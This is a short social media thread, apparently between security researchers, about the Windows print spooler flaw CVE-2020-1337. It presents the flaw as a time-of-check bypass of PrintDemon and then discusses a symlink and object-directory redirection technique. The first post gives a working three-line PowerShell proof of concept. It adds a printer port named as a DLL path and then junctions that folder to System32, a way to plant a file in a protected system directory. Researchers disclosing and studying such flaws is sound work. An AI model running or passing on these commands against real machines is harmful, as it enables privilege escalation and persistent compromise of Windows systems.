CVE-2020-1337 is CVE-2020-1048 (aka PrintDemon) with a TOCTOU. PoC: mkdir C:\test Add-PrinterPort -Name c:\test\ualapi.dll New-Item -Type Junction -Path C:\test -Value C:\Windows\System32
Show this thread
-
Haha, would have bet Jonas used the device map, his implementation of the technique is
He is referring to a technique ive developed that duplicates the file structure of c: as obj dirs and sym links pointing to the original files. But only in shadow dirs, so if I wanna make a device map that still allows every file to work except 1 single I can easily do that :)
